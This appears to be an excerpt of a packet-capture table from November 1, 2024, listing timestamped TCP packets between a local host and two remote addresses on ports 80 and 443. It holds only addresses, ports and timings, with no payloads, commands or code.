Nov 1, 2024 03:46:32.302917957 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302927971 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.302975893 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.302975893 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.303052902 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.303102016 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.303119898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.303133011 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.303162098 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.303180933 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.303212881 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.303225040 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.303258896 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.303327084 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.303433895 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.343950033 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.344002008 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.344014883 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.344059944 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.344069004 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.344079971 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.344089985 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.344136000 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418297052 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418348074 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418360949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418364048 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418385983 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418412924 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418452024 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418463945 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418526888 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418551922 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418564081 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418593884 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418687105 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418699026 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418711901 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418721914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418822050 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418837070 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418873072 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418896914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418910027 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.418947935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.418947935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419012070 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419023037 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419086933 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419089079 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419158936 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419167995 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419189930 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419233084 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419233084 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419325113 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419336081 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419347048 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419358969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419368982 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419384003 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419502974 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419508934 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419559956 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419574976 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419586897 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419614077 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419692993 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419753075 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419764042 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419775009 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419811964 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419811964 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419898033 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419909954 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419920921 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.419944048 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419945002 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.419961929 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.420037985 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.420049906 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.420068979 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.420079947 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.420095921 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.420133114 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.460676908 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.460728884 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.460738897 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.460757971 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.460800886 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.460800886 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.502984047 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.502998114 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.503009081 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.503057003 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.503074884 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.503120899 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.534969091 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.534986973 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535037041 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535052061 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535103083 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535124063 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535136938 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535147905 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535177946 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535229921 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535284042 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535331011 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535331964 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535342932 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535387993 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535471916 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535484076 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535494089 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535531044 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535531044 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535670996 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535722017 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535738945 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535751104 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535851955 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535862923 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535876036 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535887957 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.535908937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.535942078 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536060095 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536108017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536119938 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536134005 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536164045 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536277056 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536288977 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536298990 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536313057 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536344051 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536344051 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536389112 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536470890 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536482096 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536575079 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536607027 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536655903 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536660910 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536673069 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536708117 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536806107 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536818981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536830902 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536868095 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536869049 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.536957979 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536968946 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.536981106 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.537028074 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.537028074 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.569257021 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.569439888 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:32.571227074 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:32.571259975 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.571535110 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.572834015 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:32.572875023 CET	58541	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:32.572931051 CET	443	58541	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:32.580503941 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.580560923 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.580571890 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.580579996 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.580595970 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.580626965 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.619787931 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.619800091 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.619810104 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.619841099 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.619872093 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.619890928 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.651828051 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.651839018 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.651885986 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.651901960 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.651953936 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.651966095 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.651988983 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.651988983 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652093887 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652106047 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652117014 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652142048 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652162075 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652228117 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652270079 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652297974 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652309895 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652342081 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652393103 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652441978 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652451038 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652462959 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652498007 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652585983 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652599096 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652628899 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652652979 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652658939 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652694941 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652770996 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652815104 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652837038 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652849913 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652878046 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652888060 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.652896881 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.652931929 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653151989 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653163910 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653175116 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653198004 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653212070 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653219938 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653223991 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653234005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653244972 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653250933 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653264999 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653284073 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653296947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653382063 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653426886 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653482914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653527021 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653536081 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653548002 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653575897 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653701067 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653712988 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653723001 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653736115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653745890 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653760910 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653789043 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653919935 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653930902 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653940916 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653953075 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.653958082 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.653983116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.654006004 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.697864056 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.697987080 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.698026896 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.698039055 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.698070049 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.698091984 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.737196922 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.737210035 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.737221956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.737298965 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.737344027 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.737386942 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.768827915 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.768848896 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.768860102 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.768990040 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.768996954 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769032001 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769045115 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769056082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769128084 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769140005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769202948 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769208908 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769221067 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769290924 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769290924 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769368887 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769388914 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769401073 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769412041 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769423962 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769433975 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769465923 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769615889 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769633055 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769645929 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769655943 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769666910 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769706964 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769743919 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769787073 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769814968 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769824982 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769860029 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.769891977 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769905090 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.769938946 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770030975 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770040989 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770077944 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770111084 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770124912 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770157099 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770250082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770262003 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770278931 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770289898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770292044 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770303011 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770312071 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770339012 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770526886 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770536900 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770572901 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770586967 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770627975 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770653963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770664930 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770700932 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770797968 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770814896 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770827055 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770845890 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770870924 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770924091 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.770962954 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.770982981 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.771023035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.814676046 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.814690113 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.814811945 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.854310036 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.854322910 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.854460001 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.854471922 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.854489088 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.854505062 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.854547977 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.854609013 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:32.854651928 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:32.885698080 CET	80	58536	185.215.113.16	192.168.2.6
